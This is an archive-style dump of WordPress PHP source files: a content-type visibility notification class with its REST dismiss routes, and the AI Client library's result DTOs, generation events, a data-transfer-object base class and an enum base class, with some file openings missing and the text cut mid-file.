return $this->options->set( 'show_new_content_type_notification', false );
}
/**
* Check if there is a new content type to show notification only once in the settings.
*
* @return bool Should the notification be shown.
*/
public function maybe_add_settings_notification() {
$show_new_content_type_notification = $this->options->get( 'show_new_content_type_notification', false );
if ( $show_new_content_type_notification ) {
$this->options->set( 'show_new_content_type_notification', false );
}
return $show_new_content_type_notification;
}
}
content-type-visibility/user-interface/content-type-visibility-dismiss-new-route.php 0000644 00000010414 15207625766 0025241 0 ustar 00 dismiss_notifications = $dismiss_notifications;
}
/**
* Registers routes with WordPress.
*
* @return void
*/
public function register_routes() {
$post_type_dismiss_route_args = [
'methods' => 'POST',
'callback' => [ $this, 'post_type_dismiss_callback' ],
'permission_callback' => [ $this, 'can_dismiss' ],
'args' => [
'postTypeName' => [
'validate_callback' => [ $this, 'validate_post_type' ],
],
],
];
$taxonomy_dismiss_route_args = [
'methods' => 'POST',
'callback' => [ $this, 'taxonomy_dismiss_callback' ],
'permission_callback' => [ $this, 'can_dismiss' ],
'args' => [
'taxonomyName' => [
'validate_callback' => [ $this, 'validate_taxonomy' ],
],
],
];
\register_rest_route( Main::API_V1_NAMESPACE, self::POST_TYPE_DISMISS_ROUTE, $post_type_dismiss_route_args );
\register_rest_route( Main::API_V1_NAMESPACE, self::TAXONOMY_DISMISS_ROUTE, $taxonomy_dismiss_route_args );
}
/**
* Whether or not the current user is allowed to dismiss alerts.
*
* @return bool Whether or not the current user is allowed to dismiss alerts.
*/
public function can_dismiss() {
return \current_user_can( 'edit_posts' );
}
/**
* Validates post type.
*
* @param string $param The parameter.
* @param WP_REST_Request $request Full details about the request.
* @param string $key The key.
*
* @return bool
*/
public function validate_post_type( $param, $request, $key ) {
return \post_type_exists( $param );
}
/**
* Wrapper method for Content_Type_Visibility_Dismiss_Notifications::post_type_dismiss().
*
* @param WP_REST_Request $request The request. This request should have a key param set.
*
* @return WP_REST_Response The response.
*/
public function post_type_dismiss_callback( $request ) {
$response = $this->dismiss_notifications->post_type_dismiss( $request['post_type_name'] );
return new WP_REST_Response(
(object) $response,
$response['status'],
);
}
/**
* Validates taxonomy.
*
* @param string $param The parameter.
* @param WP_REST_Request $request Full details about the request.
* @param string $key The key.
*
* @return bool
*/
public function validate_taxonomy( $param, $request, $key ) {
return \taxonomy_exists( $param );
}
/**
* Wrapper method for Content_Type_Visibility_Dismiss_Notifications::taxonomy_dismiss().
*
* @param WP_REST_Request $request The request. This request should have a key param set.
*
* @return WP_REST_Response The response.
*/
public function taxonomy_dismiss_callback( WP_REST_Request $request ) {
$response = $this->dismiss_notifications->taxonomy_dismiss( $request['taxonomy_name'] );
return new WP_REST_Response(
(object) $response,
$response['status'],
);
}
}
Results/DTO/Candidate.php 0000644 00000006647 15207673127 0011247 0 ustar 00
*/
class Candidate extends AbstractDataTransferObject
{
public const KEY_MESSAGE = 'message';
public const KEY_FINISH_REASON = 'finishReason';
/**
* @var Message The generated message.
*/
private Message $message;
/**
* @var FinishReasonEnum The reason generation stopped.
*/
private FinishReasonEnum $finishReason;
/**
* Constructor.
*
* @since 0.1.0
*
* @param Message $message The generated message.
* @param FinishReasonEnum $finishReason The reason generation stopped.
*/
public function __construct(Message $message, FinishReasonEnum $finishReason)
{
if (!$message->getRole()->isModel()) {
throw new InvalidArgumentException('Message must be a model message.');
}
$this->message = $message;
$this->finishReason = $finishReason;
}
/**
* Gets the generated message.
*
* @since 0.1.0
*
* @return Message The message.
*/
public function getMessage(): Message
{
return $this->message;
}
/**
* Gets the finish reason.
*
* @since 0.1.0
*
* @return FinishReasonEnum The finish reason.
*/
public function getFinishReason(): FinishReasonEnum
{
return $this->finishReason;
}
/**
* {@inheritDoc}
*
* @since 0.1.0
*/
public static function getJsonSchema(): array
{
return ['type' => 'object', 'properties' => [self::KEY_MESSAGE => Message::getJsonSchema(), self::KEY_FINISH_REASON => ['type' => 'string', 'enum' => FinishReasonEnum::getValues(), 'description' => 'The reason generation stopped.']], 'required' => [self::KEY_MESSAGE, self::KEY_FINISH_REASON]];
}
/**
* {@inheritDoc}
*
* @since 0.1.0
*
* @return CandidateArrayShape
*/
public function toArray(): array
{
return [self::KEY_MESSAGE => $this->message->toArray(), self::KEY_FINISH_REASON => $this->finishReason->value];
}
/**
* {@inheritDoc}
*
* @since 0.1.0
*/
public static function fromArray(array $array): self
{
static::validateFromArrayData($array, [self::KEY_MESSAGE, self::KEY_FINISH_REASON]);
$messageData = $array[self::KEY_MESSAGE];
return new self(Message::fromArray($messageData), FinishReasonEnum::from($array[self::KEY_FINISH_REASON]));
}
/**
* Performs a deep clone of the candidate.
*
* This method ensures that the message object is cloned to prevent
* modifications to the cloned candidate from affecting the original.
*
* @since 0.4.2
*/
public function __clone()
{
$this->message = clone $this->message;
}
}
Results/DTO/TokenUsage.php 0000644 00000011420 15207673127 0011421 0 ustar 00
*/
class TokenUsage extends AbstractDataTransferObject
{
public const KEY_PROMPT_TOKENS = 'promptTokens';
public const KEY_COMPLETION_TOKENS = 'completionTokens';
public const KEY_TOTAL_TOKENS = 'totalTokens';
public const KEY_THOUGHT_TOKENS = 'thoughtTokens';
/**
* @var int Number of tokens in the prompt.
*/
private int $promptTokens;
/**
* @var int Number of tokens in the completion, including any thought tokens.
*/
private int $completionTokens;
/**
* @var int Total number of tokens used.
*/
private int $totalTokens;
/**
* @var int|null Number of tokens used for thinking, as a subset of completion tokens.
*/
private ?int $thoughtTokens;
/**
* Constructor.
*
* @since 0.1.0
*
* @param int $promptTokens Number of tokens in the prompt.
* @param int $completionTokens Number of tokens in the completion, including any thought tokens.
* @param int $totalTokens Total number of tokens used.
* @param int|null $thoughtTokens Number of tokens used for thinking, as a subset of completion tokens.
*/
public function __construct(int $promptTokens, int $completionTokens, int $totalTokens, ?int $thoughtTokens = null)
{
$this->promptTokens = $promptTokens;
$this->completionTokens = $completionTokens;
$this->totalTokens = $totalTokens;
$this->thoughtTokens = $thoughtTokens;
}
/**
* Gets the number of prompt tokens.
*
* @since 0.1.0
*
* @return int The prompt token count.
*/
public function getPromptTokens(): int
{
return $this->promptTokens;
}
/**
* Gets the number of completion tokens, including any thought tokens.
*
* @since 0.1.0
*
* @return int The completion token count.
*/
public function getCompletionTokens(): int
{
return $this->completionTokens;
}
/**
* Gets the total number of tokens.
*
* @since 0.1.0
*
* @return int The total token count.
*/
public function getTotalTokens(): int
{
return $this->totalTokens;
}
/**
* Gets the number of thought tokens, which is a subset of the completion token count.
*
* @since 1.3.0
*
* @return int|null The thought token count or null if not available.
*/
public function getThoughtTokens(): ?int
{
return $this->thoughtTokens;
}
/**
* {@inheritDoc}
*
* @since 0.1.0
*/
public static function getJsonSchema(): array
{
return ['type' => 'object', 'properties' => [self::KEY_PROMPT_TOKENS => ['type' => 'integer', 'description' => 'Number of tokens in the prompt.'], self::KEY_COMPLETION_TOKENS => ['type' => 'integer', 'description' => 'Number of tokens in the completion, including any thought tokens.'], self::KEY_TOTAL_TOKENS => ['type' => 'integer', 'description' => 'Total number of tokens used.'], self::KEY_THOUGHT_TOKENS => ['type' => 'integer', 'description' => 'Number of tokens used for thinking, as a subset of completion tokens.']], 'required' => [self::KEY_PROMPT_TOKENS, self::KEY_COMPLETION_TOKENS, self::KEY_TOTAL_TOKENS]];
}
/**
* {@inheritDoc}
*
* @since 0.1.0
*
* @return TokenUsageArrayShape
*/
public function toArray(): array
{
$data = [self::KEY_PROMPT_TOKENS => $this->promptTokens, self::KEY_COMPLETION_TOKENS => $this->completionTokens, self::KEY_TOTAL_TOKENS => $this->totalTokens];
if ($this->thoughtTokens !== null) {
$data[self::KEY_THOUGHT_TOKENS] = $this->thoughtTokens;
}
return $data;
}
/**
* {@inheritDoc}
*
* @since 0.1.0
*/
public static function fromArray(array $array): self
{
static::validateFromArrayData($array, [self::KEY_PROMPT_TOKENS, self::KEY_COMPLETION_TOKENS, self::KEY_TOTAL_TOKENS]);
return new self($array[self::KEY_PROMPT_TOKENS], $array[self::KEY_COMPLETION_TOKENS], $array[self::KEY_TOTAL_TOKENS], $array[self::KEY_THOUGHT_TOKENS] ?? null);
}
}
Results/DTO/GenerativeAiResult.php 0000644 00000032757 15207673127 0013136 0 ustar 00 ,
* tokenUsage: TokenUsageArrayShape,
* providerMetadata: ProviderMetadataArrayShape,
* modelMetadata: ModelMetadataArrayShape,
* additionalData?: array
* }
*
* @extends AbstractDataTransferObject
*/
class GenerativeAiResult extends AbstractDataTransferObject implements ResultInterface
{
public const KEY_ID = 'id';
public const KEY_CANDIDATES = 'candidates';
public const KEY_TOKEN_USAGE = 'tokenUsage';
public const KEY_PROVIDER_METADATA = 'providerMetadata';
public const KEY_MODEL_METADATA = 'modelMetadata';
public const KEY_ADDITIONAL_DATA = 'additionalData';
/**
* @var string Unique identifier for this result.
*/
private string $id;
/**
* @var Candidate[] The generated candidates.
*/
private array $candidates;
/**
* @var TokenUsage Token usage statistics.
*/
private \WordPress\AiClient\Results\DTO\TokenUsage $tokenUsage;
/**
* @var ProviderMetadata Provider metadata.
*/
private ProviderMetadata $providerMetadata;
/**
* @var ModelMetadata Model metadata.
*/
private ModelMetadata $modelMetadata;
/**
* @var array Additional data.
*/
private array $additionalData;
/**
* Constructor.
*
* @since 0.1.0
*
* @param string $id Unique identifier for this result.
* @param Candidate[] $candidates The generated candidates.
* @param TokenUsage $tokenUsage Token usage statistics.
* @param ProviderMetadata $providerMetadata Provider metadata.
* @param ModelMetadata $modelMetadata Model metadata.
* @param array $additionalData Additional data.
* @throws InvalidArgumentException If no candidates provided.
*/
public function __construct(string $id, array $candidates, \WordPress\AiClient\Results\DTO\TokenUsage $tokenUsage, ProviderMetadata $providerMetadata, ModelMetadata $modelMetadata, array $additionalData = [])
{
if (empty($candidates)) {
throw new InvalidArgumentException('At least one candidate must be provided');
}
$this->id = $id;
$this->candidates = $candidates;
$this->tokenUsage = $tokenUsage;
$this->providerMetadata = $providerMetadata;
$this->modelMetadata = $modelMetadata;
$this->additionalData = $additionalData;
}
/**
* {@inheritDoc}
*
* @since 0.1.0
*/
public function getId(): string
{
return $this->id;
}
/**
* Gets the generated candidates.
*
* @since 0.1.0
*
* @return Candidate[] The candidates.
*/
public function getCandidates(): array
{
return $this->candidates;
}
/**
* {@inheritDoc}
*
* @since 0.1.0
*/
public function getTokenUsage(): \WordPress\AiClient\Results\DTO\TokenUsage
{
return $this->tokenUsage;
}
/**
* Gets the provider metadata.
*
* @since 0.1.0
*
* @return ProviderMetadata The provider metadata.
*/
public function getProviderMetadata(): ProviderMetadata
{
return $this->providerMetadata;
}
/**
* Gets the model metadata.
*
* @since 0.1.0
*
* @return ModelMetadata The model metadata.
*/
public function getModelMetadata(): ModelMetadata
{
return $this->modelMetadata;
}
/**
* {@inheritDoc}
*
* @since 0.1.0
*/
public function getAdditionalData(): array
{
return $this->additionalData;
}
/**
* Gets the total number of candidates.
*
* @since 0.1.0
*
* @return int The total number of candidates.
*/
public function getCandidateCount(): int
{
return count($this->candidates);
}
/**
* Checks if the result has multiple candidates.
*
* @since 0.1.0
*
* @return bool True if there are multiple candidates, false otherwise.
*/
public function hasMultipleCandidates(): bool
{
return $this->getCandidateCount() > 1;
}
/**
* Converts the first candidate to text.
*
* Only text from the content channel is considered. Text within model thought or reasoning is ignored.
*
* @since 0.1.0
*
* @return string The text content.
* @throws RuntimeException If no text content.
*/
public function toText(): string
{
$message = $this->candidates[0]->getMessage();
foreach ($message->getParts() as $part) {
$channel = $part->getChannel();
$text = $part->getText();
if ($channel->isContent() && $text !== null) {
return $text;
}
}
throw new RuntimeException('No text content found in first candidate');
}
/**
* Converts the first candidate to a file.
*
* Only files from the content channel are considered. Files within model thought or reasoning are ignored.
*
* @since 0.1.0
*
* @return File The file.
* @throws RuntimeException If no file content.
*/
public function toFile(): File
{
$message = $this->candidates[0]->getMessage();
foreach ($message->getParts() as $part) {
$channel = $part->getChannel();
$file = $part->getFile();
if ($channel->isContent() && $file !== null) {
return $file;
}
}
throw new RuntimeException('No file content found in first candidate');
}
/**
* Converts the first candidate to an image file.
*
* @since 0.1.0
*
* @return File The image file.
* @throws RuntimeException If no image content.
*/
public function toImageFile(): File
{
$file = $this->toFile();
if (!$file->isImage()) {
throw new RuntimeException(sprintf('File is not an image. MIME type: %s', $file->getMimeType()));
}
return $file;
}
/**
* Converts the first candidate to an audio file.
*
* @since 0.1.0
*
* @return File The audio file.
* @throws RuntimeException If no audio content.
*/
public function toAudioFile(): File
{
$file = $this->toFile();
if (!$file->isAudio()) {
throw new RuntimeException(sprintf('File is not an audio file. MIME type: %s', $file->getMimeType()));
}
return $file;
}
/**
* Converts the first candidate to a video file.
*
* @since 0.1.0
*
* @return File The video file.
* @throws RuntimeException If no video content.
*/
public function toVideoFile(): File
{
$file = $this->toFile();
if (!$file->isVideo()) {
throw new RuntimeException(sprintf('File is not a video file. MIME type: %s', $file->getMimeType()));
}
return $file;
}
/**
* Converts the first candidate to a message.
*
* @since 0.1.0
*
* @return Message The message.
*/
public function toMessage(): Message
{
return $this->candidates[0]->getMessage();
}
/**
* Converts all candidates to text.
*
* @since 0.1.0
*
* @return list Array of text content.
*/
public function toTexts(): array
{
$texts = [];
foreach ($this->candidates as $candidate) {
$message = $candidate->getMessage();
foreach ($message->getParts() as $part) {
$channel = $part->getChannel();
$text = $part->getText();
if ($channel->isContent() && $text !== null) {
$texts[] = $text;
break;
}
}
}
return $texts;
}
/**
* Converts all candidates to files.
*
* @since 0.1.0
*
* @return list Array of files.
*/
public function toFiles(): array
{
$files = [];
foreach ($this->candidates as $candidate) {
$message = $candidate->getMessage();
foreach ($message->getParts() as $part) {
$channel = $part->getChannel();
$file = $part->getFile();
if ($channel->isContent() && $file !== null) {
$files[] = $file;
break;
}
}
}
return $files;
}
/**
* Converts all candidates to image files.
*
* @since 0.1.0
*
* @return list Array of image files.
*/
public function toImageFiles(): array
{
return array_values(array_filter($this->toFiles(), fn(File $file) => $file->isImage()));
}
/**
* Converts all candidates to audio files.
*
* @since 0.1.0
*
* @return list Array of audio files.
*/
public function toAudioFiles(): array
{
return array_values(array_filter($this->toFiles(), fn(File $file) => $file->isAudio()));
}
/**
* Converts all candidates to video files.
*
* @since 0.1.0
*
* @return list Array of video files.
*/
public function toVideoFiles(): array
{
return array_values(array_filter($this->toFiles(), fn(File $file) => $file->isVideo()));
}
/**
* Converts all candidates to messages.
*
* @since 0.1.0
*
* @return list Array of messages.
*/
public function toMessages(): array
{
return array_values(array_map(fn(\WordPress\AiClient\Results\DTO\Candidate $candidate) => $candidate->getMessage(), $this->candidates));
}
/**
* {@inheritDoc}
*
* @since 0.1.0
*/
public static function getJsonSchema(): array
{
return ['type' => 'object', 'properties' => [self::KEY_ID => ['type' => 'string', 'description' => 'Unique identifier for this result.'], self::KEY_CANDIDATES => ['type' => 'array', 'items' => \WordPress\AiClient\Results\DTO\Candidate::getJsonSchema(), 'minItems' => 1, 'description' => 'The generated candidates.'], self::KEY_TOKEN_USAGE => \WordPress\AiClient\Results\DTO\TokenUsage::getJsonSchema(), self::KEY_PROVIDER_METADATA => ProviderMetadata::getJsonSchema(), self::KEY_MODEL_METADATA => ModelMetadata::getJsonSchema(), self::KEY_ADDITIONAL_DATA => ['type' => 'object', 'additionalProperties' => \true, 'description' => 'Additional data included in the API response.']], 'required' => [self::KEY_ID, self::KEY_CANDIDATES, self::KEY_TOKEN_USAGE, self::KEY_PROVIDER_METADATA, self::KEY_MODEL_METADATA]];
}
/**
* {@inheritDoc}
*
* @since 0.1.0
*
* @return GenerativeAiResultArrayShape
*/
public function toArray(): array
{
return [self::KEY_ID => $this->id, self::KEY_CANDIDATES => array_map(fn(\WordPress\AiClient\Results\DTO\Candidate $candidate) => $candidate->toArray(), $this->candidates), self::KEY_TOKEN_USAGE => $this->tokenUsage->toArray(), self::KEY_PROVIDER_METADATA => $this->providerMetadata->toArray(), self::KEY_MODEL_METADATA => $this->modelMetadata->toArray(), self::KEY_ADDITIONAL_DATA => $this->additionalData];
}
/**
* {@inheritDoc}
*
* @since 0.1.0
*/
public static function fromArray(array $array): self
{
static::validateFromArrayData($array, [self::KEY_ID, self::KEY_CANDIDATES, self::KEY_TOKEN_USAGE, self::KEY_PROVIDER_METADATA, self::KEY_MODEL_METADATA]);
$candidates = array_map(fn(array $candidateData) => \WordPress\AiClient\Results\DTO\Candidate::fromArray($candidateData), $array[self::KEY_CANDIDATES]);
return new self($array[self::KEY_ID], $candidates, \WordPress\AiClient\Results\DTO\TokenUsage::fromArray($array[self::KEY_TOKEN_USAGE]), ProviderMetadata::fromArray($array[self::KEY_PROVIDER_METADATA]), ModelMetadata::fromArray($array[self::KEY_MODEL_METADATA]), $array[self::KEY_ADDITIONAL_DATA] ?? []);
}
/**
* Performs a deep clone of the result.
*
* This method ensures that all nested objects (candidates, token usage, metadata)
* are cloned to prevent modifications to the cloned result from affecting the original.
*
* @since 0.4.2
*/
public function __clone()
{
$clonedCandidates = [];
foreach ($this->candidates as $candidate) {
$clonedCandidates[] = clone $candidate;
}
$this->candidates = $clonedCandidates;
$this->tokenUsage = clone $this->tokenUsage;
$this->providerMetadata = clone $this->providerMetadata;
$this->modelMetadata = clone $this->modelMetadata;
}
}
Results/Contracts/ResultInterface.php 0000644 00000002571 15207673127 0013774 0 ustar 00 Provider metadata.
*/
public function getAdditionalData(): array;
}
Results/Enums/FinishReasonEnum.php 0000644 00000002616 15207673127 0013241 0 ustar 00 The messages to be sent to the model.
*/
private array $messages;
/**
* @var ModelInterface The model that will process the prompt.
*/
private ModelInterface $model;
/**
* @var CapabilityEnum|null The capability being used for generation.
*/
private ?CapabilityEnum $capability;
/**
* Constructor.
*
* @since 0.4.0
*
* @param list $messages The messages to be sent to the model.
* @param ModelInterface $model The model that will process the prompt.
* @param CapabilityEnum|null $capability The capability being used for generation.
*/
public function __construct(array $messages, ModelInterface $model, ?CapabilityEnum $capability)
{
$this->messages = $messages;
$this->model = $model;
$this->capability = $capability;
}
/**
* Gets the messages to be sent to the model.
*
* @since 0.4.0
*
* @return list The messages.
*/
public function getMessages(): array
{
return $this->messages;
}
/**
* Gets the model that will process the prompt.
*
* @since 0.4.0
*
* @return ModelInterface The model.
*/
public function getModel(): ModelInterface
{
return $this->model;
}
/**
* Gets the capability being used for generation.
*
* @since 0.4.0
*
* @return CapabilityEnum|null The capability, or null if not specified.
*/
public function getCapability(): ?CapabilityEnum
{
return $this->capability;
}
/**
* Performs a deep clone of the event.
*
* This method ensures that message objects are cloned to prevent
* modifications to the cloned event from affecting the original.
* The model object is not cloned as it is a service object.
*
* @since 0.4.2
*/
public function __clone()
{
$clonedMessages = [];
foreach ($this->messages as $message) {
$clonedMessages[] = clone $message;
}
$this->messages = $clonedMessages;
}
}
Events/AfterGenerateResultEvent.php 0000644 00000006353 15207673127 0013457 0 ustar 00 The messages that were sent to the model.
*/
private array $messages;
/**
* @var ModelInterface The model that processed the prompt.
*/
private ModelInterface $model;
/**
* @var CapabilityEnum|null The capability that was used for generation.
*/
private ?CapabilityEnum $capability;
/**
* @var GenerativeAiResult The result from the model.
*/
private GenerativeAiResult $result;
/**
* Constructor.
*
* @since 0.4.0
*
* @param list $messages The messages that were sent to the model.
* @param ModelInterface $model The model that processed the prompt.
* @param CapabilityEnum|null $capability The capability that was used for generation.
* @param GenerativeAiResult $result The result from the model.
*/
public function __construct(array $messages, ModelInterface $model, ?CapabilityEnum $capability, GenerativeAiResult $result)
{
$this->messages = $messages;
$this->model = $model;
$this->capability = $capability;
$this->result = $result;
}
/**
* Gets the messages that were sent to the model.
*
* @since 0.4.0
*
* @return list The messages.
*/
public function getMessages(): array
{
return $this->messages;
}
/**
* Gets the model that processed the prompt.
*
* @since 0.4.0
*
* @return ModelInterface The model.
*/
public function getModel(): ModelInterface
{
return $this->model;
}
/**
* Gets the capability that was used for generation.
*
* @since 0.4.0
*
* @return CapabilityEnum|null The capability, or null if not specified.
*/
public function getCapability(): ?CapabilityEnum
{
return $this->capability;
}
/**
* Gets the result from the model.
*
* @since 0.4.0
*
* @return GenerativeAiResult The result.
*/
public function getResult(): GenerativeAiResult
{
return $this->result;
}
/**
* Performs a deep clone of the event.
*
* This method ensures that message and result objects are cloned to prevent
* modifications to the cloned event from affecting the original.
* The model object is not cloned as it is a service object.
*
* @since 0.4.2
*/
public function __clone()
{
$clonedMessages = [];
foreach ($this->messages as $message) {
$clonedMessages[] = clone $message;
}
$this->messages = $clonedMessages;
$this->result = clone $this->result;
}
}
Common/AbstractDataTransferObject.php 0000644 00000011175 15207673127 0013715 0 ustar 00
* @implements WithArrayTransformationInterface
*/
abstract class AbstractDataTransferObject implements WithArrayTransformationInterface, WithJsonSchemaInterface, JsonSerializable
{
/**
* Validates that required keys exist in the array data.
*
* @since 0.1.0
*
* @param array $data The array data to validate.
* @param string[] $requiredKeys The keys that must be present.
* @throws InvalidArgumentException If any required key is missing.
*/
protected static function validateFromArrayData(array $data, array $requiredKeys): void
{
$missingKeys = [];
foreach ($requiredKeys as $key) {
if (!array_key_exists($key, $data)) {
$missingKeys[] = $key;
}
}
if (!empty($missingKeys)) {
throw new InvalidArgumentException(sprintf('%s::fromArray() missing required keys: %s', static::class, implode(', ', $missingKeys)));
}
}
/**
* {@inheritDoc}
*
* @since 0.1.0
*/
public static function isArrayShape(array $array): bool
{
try {
/** @var TArrayShape $array */
static::fromArray($array);
return \true;
} catch (InvalidArgumentException $e) {
return \false;
}
}
/**
* Converts the object to a JSON-serializable format.
*
* This method uses the toArray() method and then processes the result
* based on the JSON schema to ensure proper object representation for
* empty arrays.
*
* @since 0.1.0
*
* @return mixed The JSON-serializable representation.
*/
#[\ReturnTypeWillChange]
public function jsonSerialize()
{
$data = $this->toArray();
$schema = static::getJsonSchema();
return $this->convertEmptyArraysToObjects($data, $schema);
}
/**
* Recursively converts empty arrays to stdClass objects where the schema expects objects.
*
* @since 0.1.0
*
* @param mixed $data The data to process.
* @param array $schema The JSON schema for the data.
* @return mixed The processed data.
*/
private function convertEmptyArraysToObjects($data, array $schema)
{
// If data is an empty array and schema expects object, convert to stdClass
if (is_array($data) && empty($data) && isset($schema['type']) && $schema['type'] === 'object') {
return new stdClass();
}
// If data is an array with content, recursively process nested structures
if (is_array($data)) {
// Handle object properties
if (isset($schema['properties']) && is_array($schema['properties'])) {
foreach ($data as $key => $value) {
if (isset($schema['properties'][$key]) && is_array($schema['properties'][$key])) {
$data[$key] = $this->convertEmptyArraysToObjects($value, $schema['properties'][$key]);
}
}
}
// Handle array items
if (isset($schema['items']) && is_array($schema['items'])) {
foreach ($data as $index => $item) {
$data[$index] = $this->convertEmptyArraysToObjects($item, $schema['items']);
}
}
// Handle oneOf/anyOf schemas - just use the first one
foreach (['oneOf', 'anyOf'] as $keyword) {
if (isset($schema[$keyword]) && is_array($schema[$keyword])) {
foreach ($schema[$keyword] as $possibleSchema) {
if (is_array($possibleSchema)) {
return $this->convertEmptyArraysToObjects($data, $possibleSchema);
}
}
}
}
}
return $data;
}
}
Common/Contracts/WithJsonSchemaInterface.php 0000644 00000001136 15207673127 0015167 0 ustar 00 The JSON schema as an associative array.
*/
public static function getJsonSchema(): array;
}
Common/Contracts/WithArrayTransformationInterface.php 0000644 00000002033 15207673127 0017137 0 ustar 00
*/
interface WithArrayTransformationInterface
{
/**
* Converts the object to an array representation.
*
* @since 0.1.0
*
* @return TArrayShape The array representation.
*/
public function toArray(): array;
/**
* Creates an instance from array data.
*
* @since 0.1.0
*
* @param TArrayShape $array The array data.
* @return self The created instance.
*/
public static function fromArray(array $array): self;
/**
* Checks if the array is a valid shape for this object.
*
* @since 0.1.0
*
* @param array $array The array to check.
* @return bool True if the array is a valid shape.
* @phpstan-assert-if-true TArrayShape $array
*/
public static function isArrayShape(array $array): bool;
}
Common/Contracts/AiClientExceptionInterface.php 0000644 00000000527 15207673127 0015653 0 ustar 00 name; // 'FIRST_NAME'
* $enum->value; // 'first'
* $enum->equals('first'); // Returns true
* $enum->is(PersonEnum::firstName()); // Returns true
* PersonEnum::cases(); // Returns array of all enum instances
*
* @property-read string $value The value of the enum instance.
* @property-read string $name The name of the enum constant.
*
* @since 0.1.0
*/
abstract class AbstractEnum implements JsonSerializable
{
/**
* @var string The value of the enum instance.
*/
private string $value;
/**
* @var string The name of the enum constant.
*/
private string $name;
/**
* @var array> Cache for reflection data.
*/
private static array $cache = [];
/**
* @var array> Cache for enum instances.
*/
private static array $instances = [];
/**
* Constructor is private to ensure instances are created through static methods.
*
* @since 0.1.0
*
* @param string $value The enum value.
* @param string $name The constant name.
*/
final private function __construct(string $value, string $name)
{
$this->value = $value;
$this->name = $name;
}
/**
* Provides read-only access to properties.
*
* @since 0.1.0
*
* @param string $property The property name.
* @return mixed The property value.
* @throws BadMethodCallException If property doesn't exist.
*/
final public function __get(string $property)
{
if ($property === 'value' || $property === 'name') {
return $this->{$property};
}
throw new BadMethodCallException(sprintf('Property %s::%s does not exist', static::class, $property));
}
/**
* Prevents property modification.
*
* @since 0.1.0
*
* @param string $property The property name.
* @param mixed $value The value to set.
* @throws BadMethodCallException Always, as enum properties are read-only.
*/
final public function __set(string $property, $value): void
{
throw new BadMethodCallException(sprintf('Cannot modify property %s::%s - enum properties are read-only', static::class, $property));
}
/**
* Creates an enum instance from a value, throws exception if invalid.
*
* @since 0.1.0
*
* @param string $value The enum value.
* @return static The enum instance.
* @throws InvalidArgumentException If the value is not valid.
*/
final public static function from(string $value): self
{
$instance = self::tryFrom($value);
if ($instance === null) {
throw new InvalidArgumentException(sprintf('%s is not a valid backing value for enum %s', $value, static::class));
}
return $instance;
}
/**
* Tries to create an enum instance from a value, returns null if invalid.
*
* @since 0.1.0
*
* @param string $value The enum value.
* @return static|null The enum instance or null.
*/
final public static function tryFrom(string $value): ?self
{
$constants = static::getConstants();
foreach ($constants as $name => $constantValue) {
if ($constantValue === $value) {
return self::getInstance($constantValue, $name);
}
}
return null;
}
/**
* Gets all enum cases.
*
* @since 0.1.0
*
* @return static[] Array of all enum instances.
*/
final public static function cases(): array
{
$cases = [];
$constants = static::getConstants();
foreach ($constants as $name => $value) {
$cases[] = self::getInstance($value, $name);
}
return $cases;
}
/**
* Checks if this enum has the same value as the given value.
*
* @since 0.1.0
*
* @param string|self $other The value or enum to compare.
* @return bool True if values are equal.
*/
final public function equals($other): bool
{
if ($other instanceof self) {
return $this->is($other);
}
return $this->value === $other;
}
/**
* Checks if this enum is the same instance type and value as another enum.
*
* @since 0.1.0
*
* @param self $other The other enum to compare.
* @return bool True if enums are identical.
*/
final public function is(self $other): bool
{
return $this === $other;
// Since we're using singletons, we can use identity comparison
}
/**
* Gets all valid values for this enum.
*
* @since 0.1.0
*
* @return string[] List of all enum values.
*/
final public static function getValues(): array
{
return array_values(static::getConstants());
}
/**
* Checks if a value is valid for this enum.
*
* @since 0.1.0
*
* @param string $value The value to check.
* @return bool True if value is valid.
*/
final public static function isValidValue(string $value): bool
{
return in_array($value, self::getValues(), \true);
}
/**
* Gets or creates a singleton instance for the given value and name.
*
* @since 0.1.0
*
* @param string $value The enum value.
* @param string $name The constant name.
* @return static The enum instance.
*/
private static function getInstance(string $value, string $name): self
{
$className = static::class;
if (!isset(self::$instances[$className])) {
self::$instances[$className] = [];
}
if (!isset(self::$instances[$className][$name])) {
$instance = new $className($value, $name);
self::$instances[$className][$name] = $instance;
}
/** @var static */
return self::$instances[$className][$name];
}
/**
* Gets all constants for this enum class.
*
* @since 0.1.0
*
* @return array Map of constant names to values.
* @throws RuntimeException If invalid constant found.
*/
final protected static function getConstants(): array
{
$className = static::class;
if (!isset(self::$cache[$className])) {
self::$cache[$className] = static::determineClassEnumerations($className);
}
return self::$cache[$className];
}
/**
* Determines the class enumerations by reflecting on class constants.
*
* This method can be overridden by subclasses to customize how
* enumerations are determined (e.g., to add dynamic constants).
*
* @since 0.1.0
*
* @param class-string $className The fully qualified class name.
* @return array Map of constant names to values.
* @throws RuntimeException If invalid constant found.
*/
protected static function determineClassEnumerations(string $className): array
{
$reflection = new ReflectionClass($className);
$constants = $reflection->getConstants();
// Validate all constants
$enumConstants = [];
foreach ($constants as $name => $value) {
// Check if constant name follows uppercase snake_case pattern
if (!preg_match('/^[A-Z][A-Z0-9_]*$/', $name)) {
throw new RuntimeException(sprintf('Invalid enum constant name "%s" in %s. Constants must be UPPER_SNAKE_CASE.', $name, $className));
}
// Check if value is valid type
if (!is_string($value)) {
throw new RuntimeException(sprintf('Invalid enum value type for constant %s::%s. ' . 'Only string values are allowed, %s given.', $className, $name, gettype($value)));
}
$enumConstants[$name] = $value;
}
return $enumConstants;
}
/**
* Handles dynamic method calls for enum checking.
*
* @since 0.1.0
*
* @param string $name The method name.
* @param array $arguments The method arguments.
* @return bool True if the enum value matches.
* @throws BadMethodCallException If the method doesn't exist.
*/
final public function __call(string $name, array $arguments): bool
{
// Handle is* methods
if (str_starts_with($name, 'is')) {
$constantName = self::camelCaseToConstant(substr($name, 2));
$constants = static::getConstants();
if (isset($constants[$constantName])) {
return $this->value === $constants[$constantName];
}
}
throw new BadMethodCallException(sprintf('Method %s::%s does not exist', static::class, $name));
}
/**
* Handles static method calls for enum creation.
*
* @since 0.1.0
*
* @param string $name The method name.
* @param array $arguments The method arguments.
* @return static The enum instance.
* @throws BadMethodCallException If the method doesn't exist.
*/
final public static function __callStatic(string $name, array $arguments): self
{
$constantName = self::camelCaseToConstant($name);
$constants = static::getConstants();
if (isset($constants[$constantName])) {
return self::getInstance($constants[$constantName], $constantName);
}
throw new BadMethodCallException(sprintf('Method %s::%s does not exist', static::class, $name));
}
/**
* Converts camelCase to CONSTANT_CASE.
*
* @since 0.1.0
*
* @param string $camelCase The camelCase string.
* @return string The CONSTANT_CASE version.
*/
private static function camelCaseToConstant(string $camelCase): string
{
